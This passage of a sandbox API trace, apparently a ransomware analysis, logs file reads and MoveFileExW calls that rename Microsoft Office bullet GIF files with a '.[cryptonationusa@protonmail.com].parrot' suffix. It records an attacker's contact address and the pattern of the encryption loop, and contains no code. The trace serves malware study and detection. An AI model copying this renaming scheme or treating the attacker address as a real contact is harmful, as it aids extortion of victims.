Office\\MEDIA\\OFFICE14\\BULLETS\\BD14655_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14655_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645e40 | out: hHeap=0x5b0000) returned 1 [0164.688] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.688] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.689] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.689] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xad, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xad, lpOverlapped=0x0) returned 1 [0164.689] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.690] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14656_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14656_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14656_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14656_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645e40 | out: hHeap=0x5b0000) returned 1 [0164.693] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.693] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.694] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.694] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb9, lpOverlapped=0x0) returned 1 [0164.694] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.694] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14691_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14691_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14691_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14691_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.696] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.696] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.696] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229e070 | out: hHeap=0x5b0000) returned 1 [0164.698] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.698] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.699] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.699] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb1, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb1, lpOverlapped=0x0) returned 1 [0164.699] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.700] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14692_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14692_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14692_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14692_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.701] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.701] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.701] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229e070 | out: hHeap=0x5b0000) returned 1 [0164.703] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.703] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.704] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.704] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xad, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xad, lpOverlapped=0x0) returned 1 [0164.704] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.705] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14693_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14693_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14693_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14693_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.706] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.706] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.706] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645e40 | out: hHeap=0x5b0000) returned 1 [0164.708] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.709] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.709] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.710] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x29b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x29b, lpOverlapped=0x0) returned 1 [0164.710] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14752_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14752_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14752_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14752_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.712] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.712] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.712] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0164.713] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.714] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.714] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.715] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbc, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbc, lpOverlapped=0x0) returned 1 [0164.715] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.715] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14753_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14753_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14753_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14753_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.716] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.716] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.716] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229e070 | out: hHeap=0x5b0000) returned 1 [0164.718] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.718] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.719] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.719] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb0, lpOverlapped=0x0) returned 1 [0164.720] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.720] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14754_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14754_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14754_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14754_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.722] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.722] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.722] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229e070 | out: hHeap=0x5b0000) returned 1 [0164.724] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.724] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.725] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.725] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x44, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x44, lpOverlapped=0x0) returned 1 [0164.725] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.725] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14755_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14755_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14755_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14755_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.727] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.727] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.727] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0164.730] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.730] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.730] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.731] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbf, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbf, lpOverlapped=0x0) returned 1 [0164.731] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.731] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14756_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14756_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14756_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14756_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.733] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.733] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.733] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229e070 | out: hHeap=0x5b0000) returned 1 [0164.734] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.734] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.735] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.735] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb3, lpOverlapped=0x0) returned 1 [0164.736] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.736] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14757_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14757_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14757_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14757_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.737] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.737] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.737] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229e070 | out: hHeap=0x5b0000) returned 1 [0164.740] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.740] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.741] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.741] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x111, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x111, lpOverlapped=0x0) returned 1 [0164.741] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.741] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14790_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14790_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14790_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14790_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6139f8 | out: hHeap=0x5b0000) returned 1 [0164.745] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.745] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.747] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.747] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x45b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x45b, lpOverlapped=0x0) returned 1 [0164.747] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.748] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14791_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14791_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14791_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14791_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.749] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.749] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.749] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0164.751] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.751] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.752] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.752] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfb, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xfb, lpOverlapped=0x0) returned 1 [0164.752] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.752] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14792_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14792_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14792_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14792_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0164.756] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.756] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.757] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.757] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf0, lpOverlapped=0x0) returned 1 [0164.757] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.757] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14793_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14793_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14793_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14793_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: 